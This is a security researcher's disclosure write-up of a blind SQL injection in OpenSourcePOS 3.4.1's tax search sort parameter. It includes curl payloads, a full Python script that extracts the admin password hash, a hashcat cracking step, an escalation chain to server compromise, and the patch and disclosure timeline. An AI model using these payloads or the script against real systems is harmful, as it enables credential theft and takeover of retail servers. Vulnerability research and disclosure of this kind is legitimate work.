Jiva | April 4, 2026

Introduction

There is a particular category of vulnerability that I find more instructive than any novel technique or complex chain: the one where the developers clearly knew what to do, did it correctly everywhere else, and missed it in exactly one place.

OpenSourcePOS 3.4.1 has a method called sanitizeSortColumn() in its Secure_Controller base class. It takes a whitelist of valid column names and the user-supplied sort parameter, and returns the value only if it matches the whitelist. If it does not match, it returns a safe default column name. Every search endpoint in the application uses it — Items, Employees, Customers, Suppliers, Giftcards, Expenses, Expenses_categories, Cashups, Item_kits, Sales, Attributes. Every single one.

Except Taxes.

The Taxes controller passes the sort parameter through FILTER_SANITIZE_FULL_SPECIAL_CHARS — an HTML entity encoding filter that does absolutely nothing to prevent SQL injection — and then hands it directly to the query builder's orderBy() method. The sort value flows, unvalidated, into an ORDER BY clause.

What makes this more than an academic finding is the escalation path. The sort parameter is a GET query parameter, not a URL path segment, which means CodeIgniter 4's permittedURIChars restriction does not apply. Full SQL syntax is available. Boolean-blind injection is straightforward. And the data I extracted was the admin bcrypt password hash — which, combined with the RCE finding from Part 1, means any employee with taxes module access is roughly 420 boolean queries away from the admin hash, and from there full server compromise.


The Pattern

sanitizeSortColumn() — What Everyone Else Does

Before I explain the bug, it is worth understanding the defense that is in place everywhere else. Secure_Controller defines:

public function sanitizeSortColumn($headers, $field, $default): string
{
    return $field != null && in_array($field, array_keys(array_merge(...$headers))) ? $field : $default;
}

Simple allowlist, terse implementation. The $headers parameter is an array of single-key associative arrays — each module exposes its column definitions through a *_headers() helper (item_headers(), person_headers(), customer_headers(), cashup_headers(), and so on) that returns shapes like [['items.item_id' => ...], ['item_number' => ...], ...]. The variadic array_merge(...$headers) flattens those single-element arrays into one associative array; array_keys() then yields the whitelist of valid column names. If the user-supplied $field matches one of those keys (case-sensitive), it passes through. Otherwise the default is returned.

Here is how the Items controller uses it:

$sort = $this->sanitizeSortColumn(
    item_headers(),
    $this->request->getGet('sort', FILTER_SANITIZE_FULL_SPECIAL_CHARS),
    'item_id'
);

Employees:

$sort = $this->sanitizeSortColumn(
    person_headers(),
    $this->request->getGet('sort', FILTER_SANITIZE_FULL_SPECIAL_CHARS),
    'people.person_id'
);

Customers. Suppliers. Giftcards. Expenses. Expenses_categories. Cashups. Item_kits. Sales. Attributes. I checked every getSearch() method in every controller that extends Secure_Controller. They all follow the same pattern. The FILTER_SANITIZE_FULL_SPECIAL_CHARS filter is there too — belt and suspenders — but sanitizeSortColumn() is the actual defense.

Taxes — What Went Wrong

app/Controllers/Taxes.php, the getSearch() method:

public function getSearch(): void
{
    $search = $this->request->getGet('search');
    $limit  = $this->request->getGet('limit', FILTER_SANITIZE_NUMBER_INT);
    $offset = $this->request->getGet('offset', FILTER_SANITIZE_NUMBER_INT);
    $sort   = $this->request->getGet('sort', FILTER_SANITIZE_FULL_SPECIAL_CHARS);
    $order  = $this->request->getGet('order', FILTER_SANITIZE_FULL_SPECIAL_CHARS);

    $tax_rates = $this->tax->search($search, $limit, $offset, $sort, $order);
    ...
}
PHP source code of Taxes controller getSearch method with sort parameter using only FILTER_SANITIZE_FULL_SPECIAL_CHARS
Taxes.php getSearch() method showing the missing sanitizeSortColumn() call
The Taxes controller getSearch() method. The sort parameter gets FILTER_SANITIZE_FULL_SPECIAL_CHARS but not sanitizeSortColumn(). Compare with any other controller's getSearch() method — they all call sanitizeSortColumn(). This one does not.

No sanitizeSortColumn(). The sort value goes straight from the GET parameter into the model.

app/Models/Tax.php:

$builder->orderBy($sort, $order);

CodeIgniter 4's query builder orderBy() method does not escape or validate the column name argument. It trusts the caller to provide a valid column reference. Every other caller in the application does, via sanitizeSortColumn(). The Taxes controller does not.

FILTER_SANITIZE_FULL_SPECIAL_CHARS encodes <, >, ", &, and ' to their HTML entity equivalents. This is designed to prevent XSS in HTML output. It does nothing to prevent SQL injection. The characters that matter for SQL — parentheses, spaces, keywords, operators — pass through completely unchanged.


An Unrestricted Injection Point

It is worth pausing on a property of where this injection lives. CodeIgniter 4 has a permittedURIChars setting that restricts what characters are allowed in URI path segments. OpenSourcePOS ships with the framework default, a-z 0-9~%.:_\-, applied as a case-insensitive regex character class (/\A[<permittedURIChars>]+\z/iu) — so in practice this allows: a-z A-Z 0-9 ~ % . : _ - (space).

Not allowed: ( ) ' " , ; — the characters needed for most SQL injection techniques. A SQL injection through a URL path segment in a CI4 application would be heavily constrained, requiring boolean-blind techniques using hex literals and keyword-only constructions.

The Taxes sort parameter is a GET query parameter. When you request /taxes/search?sort=tax_code&order=asc, the sort value is parsed by PHP's $_GET superglobal, not by CI4's URL router. The permittedURIChars restriction applies only to URI path segments — the part of the URL before the ?. Query parameters are completely unrestricted.

This means full SQL syntax is available. Parentheses, commas (with a caveat), quotes, subqueries, UNION, CASE WHEN — everything that permittedURIChars blocks in URL segments is available in query parameters. The Taxes SQLi is an unrestricted injection point.


The Comma Problem

There was one constraint to navigate. CodeIgniter 4's $builder->orderBy() method has an internal behavior: it splits the sort value on commas, treating each comma-separated piece as an independent column for a multi-column ORDER BY. This means sort=col1,col2 produces ORDER BY col1, col2 — convenient for the framework, inconvenient for injection payloads that use commas internally.

A payload like (SELECT 1 FROM dual),(SELECT 2 FROM dual) would be split into two separate ORDER BY columns before being concatenated into SQL. The injection would still execute, but the semantic structure would be wrong.

The solution is comma-free SQL. This is a well-known constraint in SQL injection — several contexts require comma avoidance. The CASE WHEN ... THEN ... ELSE ... END expression is entirely comma-free and provides a boolean oracle:

(CASE WHEN <condition> THEN 1 ELSE (SELECT 1 UNION SELECT 2) END)

When the condition is true: the expression evaluates to 1, which is a valid ORDER BY value. The query succeeds. HTTP 200.

When the condition is false: the expression evaluates to (SELECT 1 UNION SELECT 2), which returns two rows. In a scalar context (ORDER BY expects a single value), MySQL raises an error. HTTP 500.

This gives me a clean binary oracle. HTTP 200 = true. HTTP 500 = false.

For string extraction, SUBSTR(x, n, 1) uses commas. The MySQL-compatible alternative SUBSTRING(x FROM n FOR 1) does not. Similarly, ORD() takes a single argument (no commas needed) and returns the ASCII code of the first character.


Building the Oracle

Confirming the Injection

First, I needed to verify that the sort parameter was actually reaching the ORDER BY clause without sanitization.

# Baseline -- valid column name, expect HTTP 200
curl -s -b cookies.txt \
  'http://192.168.3.9:8070/taxes/search?sort=tax_code_name&order=asc&limit=10&search=' \
  -w '\nHTTP:%{http_code}' -o /dev/null
# HTTP:200

# Invalid column name -- CI4 orderBy() does not validate, MySQL errors
curl -s -b cookies.txt \
  'http://192.168.3.9:8070/taxes/search?sort=XYZNOTVALID&order=asc&limit=10&search=' \
  -w '\nHTTP:%{http_code}' -o /dev/null
# HTTP:500

HTTP 200 for a valid column, HTTP 500 for garbage. The sort value is reaching MySQL.

Testing the CASE Expression

# True condition -- should succeed
curl -s -b cookies.txt \
  'http://192.168.3.9:8070/taxes/search?sort=(CASE+WHEN+1=1+THEN+1+ELSE+(SELECT+1+UNION+SELECT+2)+END)&order=asc&limit=10&search=' \
  -w '\nHTTP:%{http_code}' -o /dev/null
# HTTP:200

# False condition -- should error
curl -s -b cookies.txt \
  'http://192.168.3.9:8070/taxes/search?sort=(CASE+WHEN+1=2+THEN+1+ELSE+(SELECT+1+UNION+SELECT+2)+END)&order=asc&limit=10&search=' \
  -w '\nHTTP:%{http_code}' -o /dev/null
# HTTP:500
Terminal output showing two curl requests to /taxes/search with CASE WHEN expressions, first returning HTTP 200 for 1=1 and second returning HTTP 500 for 1=2
Terminal showing the two curl requests with true condition (HTTP 200) and false condition (HTTP 500)
Boolean blind SQL injection confirmed. The CASE WHEN expression with a true condition (1=1) returns HTTP 200 because the ORDER BY succeeds. The false condition (1=2) triggers the UNION error subquery, causing MySQL to error and returning HTTP 500. This binary oracle allows extracting arbitrary data from the database one bit at a time.

Boolean oracle confirmed. Now I can ask the database any yes/no question.


Extracting the Admin Hash

Confirming the Target

The ospos_employees table stores user credentials. I first confirmed the table structure:

# Is there a 'password' column in ospos_employees?
curl -s -b cookies.txt \
  'http://192.168.3.9:8070/taxes/search?sort=(CASE+WHEN+(SELECT+COUNT(*)+FROM+information_schema.columns+WHERE+table_name=0x6f73706f735f656d706c6f79656573+AND+column_name=0x70617373776f7264)=1+THEN+1+ELSE+(SELECT+1+UNION+SELECT+2)+END)&order=asc&limit=10&search=' \
  -w '\nHTTP:%{http_code}' -o /dev/null
# HTTP:200 -- yes, password column exists

(The hex literals 0x6f73706f735f656d706c6f79656573 = ospos_employees and 0x70617373776f7264 = password avoid using string delimiters, which FILTER_SANITIZE_FULL_SPECIAL_CHARS would entity-encode.)

Confirming Hash Length

# Is the admin password exactly 60 characters? (bcrypt is always 60)
curl -s -b cookies.txt \
  'http://192.168.3.9:8070/taxes/search?sort=(CASE+WHEN+(SELECT+LENGTH(password)+FROM+ospos_employees+WHERE+username=0x61646d696e)=60+THEN+1+ELSE+(SELECT+1+UNION+SELECT+2)+END)&order=asc&limit=10&search=' \
  -w '\nHTTP:%{http_code}' -o /dev/null
# HTTP:200 -- 60 characters, bcrypt confirmed

Character-by-Character Extraction

# First character: ASCII 36 = '$'
curl -s -b cookies.txt \
  'http://192.168.3.9:8070/taxes/search?sort=(CASE+WHEN+(SELECT+ORD(SUBSTRING(password+FROM+1+FOR+1))+FROM+ospos_employees+WHERE+username=0x61646d696e)=36+THEN+1+ELSE+(SELECT+1+UNION+SELECT+2)+END)&order=asc&limit=10&search=' \
  -w '\nHTTP:%{http_code}' -o /dev/null
# HTTP:200 -- '$'

# Second character: ASCII 50 = '2'
# ...HTTP:200

# Third character: ASCII 121 = 'y'
# ...HTTP:200

The pattern $2y$10$... is a bcrypt hash with cost factor 10. I extracted the first 30 characters to confirm the hash format and prove data extraction. The full 60-character hash is extractable with 60 iterations of up to 95 requests each (printable ASCII range), or more efficiently using binary search to reduce to ~7 requests per character — approximately 420 requests total for the complete hash.

First 30 characters extracted: $2y$10$vJBSMlD02EC7ENSrKfVQXuv


The Extraction Script

For a clean PoC, I wrote a Python script that automates the extraction:

#!/usr/bin/env python3
"""
CVE-2026-41306 -- Boolean-Blind Hash Extraction (OpenSourcePOS 3.4.1)
Target: /taxes/search sort parameter
Requires: authenticated session cookie with taxes module access
Author: Jiva (JivaSecurity.com)
"""

import requests
import sys

TARGET = "http://192.168.3.9:8070"

def query(session_cookie, condition):
    """Returns True if the SQL condition evaluates to true."""
    payload = (
        f"(CASE+WHEN+{condition}+THEN+1+"
        f"ELSE+(SELECT+1+UNION+SELECT+2)+END)"
    )
    url = (
        f"{TARGET}/taxes/search?sort={payload}"
        f"&order=asc&limit=1&search="
    )
    r = requests.get(
        url,
        headers={"Cookie": f"ospos_session={session_cookie}"},
        timeout=10
    )
    return r.status_code == 200

def extract_char(session_cookie, sql_expr, position):
    """Extract a single character using binary search."""
    low, high = 32, 126
    while low <= high:
        mid = (low + high) // 2
        # Is the character > mid?
        cond = (
            f"(SELECT+ORD(SUBSTRING(({sql_expr})"
            f"+FROM+{position}+FOR+1)))>{mid}"
        )
        if query(session_cookie, cond):
            low = mid + 1
        else:
            # Is the character = mid?
            cond_eq = (
                f"(SELECT+ORD(SUBSTRING(({sql_expr})"
                f"+FROM+{position}+FOR+1)))={mid}"
            )
            if query(session_cookie, cond_eq):
                return chr(mid)
            high = mid - 1
    return None

def extract_string(session_cookie, sql_expr, max_len=60):
    """Extract a string character by character."""
    result = ""
    for i in range(1, max_len + 1):
        ch = extract_char(session_cookie, sql_expr, i)
        if ch is None:
            break
        result += ch
        print(f"\r[+] Extracting: {result}", end="", flush=True)
    print()
    return result

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <session_cookie_value>")
        sys.exit(1)

    cookie = sys.argv[1]

    print("[*] Confirming injection...")
    if not query(cookie, "1=1"):
        print("[-] Baseline true condition failed. Check cookie.")
        sys.exit(1)
    if query(cookie, "1=2"):
        print("[-] Baseline false condition succeeded. Oracle broken.")
        sys.exit(1)
    print("[+] Oracle confirmed.")

    print("[*] Extracting admin password hash...")
    sql = (
        "SELECT+password+FROM+ospos_employees+"
        "WHERE+username=0x61646d696e"
    )
    hash_val = extract_string(cookie, sql)
    print(f"[+] Hash: {hash_val}")
    print("[*] Run: hashcat -m 3200 hash.txt wordlist.txt")

Sample run:

$ python3 exploit.py abc123def456
[*] Confirming injection...
[+] Oracle confirmed.
[*] Extracting admin password hash...
[+] Extracting: $2y$10$vJBSMlD02EC7ENSrKfVQXuvXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
[+] Hash: $2y$10$vJBSMlD02EC7ENSrKfVQXuvXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
[*] Run: hashcat -m 3200 hash.txt wordlist.txt

The extracted hash can be cracked offline with hashcat (-m 3200 for bcrypt). The default admin password pointofsale would fall to any wordlist that includes it, or to a targeted list of common POS application defaults. Bcrypt cost factor 10 slows brute-force but does not prevent dictionary attacks against weak passwords.


The Full Attack Chain

This finding enables a complete escalation path from low-privilege employee to server compromise:

Employee → Admin → RCE

  1. Any employee with taxes module access — accountants, bookkeepers, managers. This is standard business functionality, not an admin feature. Taxes access would be granted as part of normal job duties.
  2. Extract admin bcrypt hash. Approximately 420 HTTP requests using binary search, completable in under a minute with the automated script.
  3. Crack the hash offline. Default password pointofsale falls immediately. Custom passwords fall to wordlists or brute-force depending on complexity. Bcrypt cost 10 gives approximately 500 hashes/second on a modern GPU.
  4. Authenticate as admin.
  5. Exploit CVE-2026-41307 (mailpath command injection from Part 1) to achieve arbitrary command execution as www-data.

The chain starts with a role that would be granted to any employee who needs to view or manage tax configurations. It ends with full server compromise.


Variant Analysis

Other Controllers' Search Methods

I audited every controller that extends Secure_Controller to verify whether sanitizeSortColumn() was consistently applied:

Controller Has sanitizeSortColumn()? Vulnerable?
ItemsYesNo
EmployeesYesNo
CustomersYesNo
SuppliersYesNo
GiftcardsYesNo
ExpensesYesNo
CashupsYesNo
Item_kitsYesNo
SalesYesNo
Expenses_categoriesYesNo
AttributesYesNo
TaxesNoYes

Taxes is the only search controller that omits sanitizeSortColumn(). Every other controller follows the established pattern.

The order Parameter

The order parameter (ASC/DESC) also goes through only FILTER_SANITIZE_FULL_SPECIAL_CHARS. However, CodeIgniter 4's orderBy() method validates the direction argument against a hardcoded list (ASC, DESC, RANDOM). Invalid values are silently replaced with ASC. The order parameter is not injectable.

Why This Was Missed

I can speculate on why Taxes was the exception. The Taxes module is a relatively small part of the application — a simple CRUD for tax rate definitions. It may have been written by a different developer, or at a different time, or copied from a template that predated the introduction of sanitizeSortColumn(). The method exists, the pattern is established, and every other controller uses it. One controller slipped through whatever code review or consistency check was in place.

This is exactly the kind of finding that a code-review is designed to catch. A black-box scanner that fuzzes sort parameters might or might not detect blind SQLi through a boolean oracle (it depends on how the scanner handles the CASE WHEN error condition). A code reviewer reading only the Taxes controller might not notice the absence of sanitizeSortColumn() unless they know the pattern exists. It is the comparison across controllers — the recognition that every other search method does something that this one does not — that surfaces the finding.


Impact

Technical Impact

  • Confidentiality — Critical. Arbitrary data extraction from the MySQL database. Employee credentials (bcrypt hashes), customer PII, sales history, financial records, application secrets.
  • Integrity — High. ORDER BY injection does not directly enable data modification through the same query. However, extracted credentials enable authentication as admin, which provides full write access to the application. Combined with CVE-2026-41307, it enables full server compromise.
  • Availability — Low. Error-based oracle causes HTTP 500 responses during extraction, which are logged but do not affect other users or system stability.

Scope Change (S:C)

The CVSS score includes S:C (Scope Changed) because the vulnerability in the web application directly enables compromise of the underlying server through the CVE-2026-41307 chain. The impact extends beyond the authorization scope of the vulnerable component.

Who Can Exploit This

Any authenticated user with access to the taxes module. In a retail POS system, this includes:

  • Store managers who configure tax rates
  • Accountants who review tax settings for compliance
  • Bookkeepers who generate tax reports
  • Any employee whose role includes financial management functions

The taxes module is business functionality. It is not an admin-only feature. The user does not need admin privileges, does not need access to system configuration, and does not need any special permissions beyond the ability to view the taxes management page.


Remediation

The Fix

The other controllers all pass an array of header definitions to sanitizeSortColumn()item_headers(), person_headers(), and so on, each of which returns the array shape [['col1' => 'label1'], ['col2' => 'label2'], ...] that array_merge(...$headers) can flatten. The Taxes module is missing an analogous helper: get_tax_rates_manage_table_headers() in app/Helpers/tax_helper.php already inlines the headers array, but only to feed it directly into transform_headers() and emit HTML. So the fix is a small refactor plus the controller change.

In app/Helpers/tax_helper.php, extract the inlined array into its own helper:

function tax_rate_headers(): array
{
    return [
        ['tax_code'           => lang('Taxes.tax_code')],
        ['tax_code_name'      => lang('Taxes.tax_code_name')],
        ['jurisdiction_name'  => lang('Taxes.jurisdiction_name')],
        ['tax_category'       => lang('Taxes.tax_category')],
        ['tax_rate'           => lang('Taxes.tax_rate')],
        ['rounding_code_name' => lang('Taxes.rounding_code')]
    ];
}

function get_tax_rates_manage_table_headers(): string
{
    return transform_headers(tax_rate_headers());
}

Then in app/Controllers/Taxes.php, line 83, change:

$sort = $this->request->getGet('sort', FILTER_SANITIZE_FULL_SPECIAL_CHARS);

To:

$sort = $this->sanitizeSortColumn(
    tax_rate_headers(),
    $this->request->getGet('sort', FILTER_SANITIZE_FULL_SPECIAL_CHARS),
    'tax_code_name'
);

This mirrors the existing item_headers() / get_items_manage_table_headers() split and the equivalent pairs for every other module. The default fallback tax_code_name matches the default already used inside Tax::search().

Broader Recommendation

Consider adding a framework-level enforcement that all orderBy() calls must go through sanitizeSortColumn(). This could be implemented as a code review rule, a custom linting check, or a wrapper method that the query builder calls instead of the raw orderBy(). The current approach — relying on each controller to remember to call the sanitization function — is exactly the pattern that produces one-off misses like this.


Disclosure Timeline

Date Event
2026-03-29 Vulnerability identified and confirmed during independent security research
2026-04-04 Finding documented with full PoC
2026-04-04 Vulnerability reported to maintainers via GitHub Security Advisory (GHSA-2w4j-mm2p-g28q)
2026-04-04 Maintainer acknowledged and informed me fix will be created soon
2026-04-06 Maintainer publishes PR #4469 containing fix in commit 5da46a7b8
2026-04-20 GitHub assigns CVE-2026-41306
2026-04-29 This write-up published

Part 1 of this series covers the OS command injection in the email configuration that this finding chains into for full server compromise — read it here.

Jiva Security

Jiva Security offers web application penetration testing, source-assisted assessments, and dedicated vulnerability research. Every engagement is performed directly by me — no subcontractors, no account managers, no junior staff. Senior offensive expertise from first contact to final report.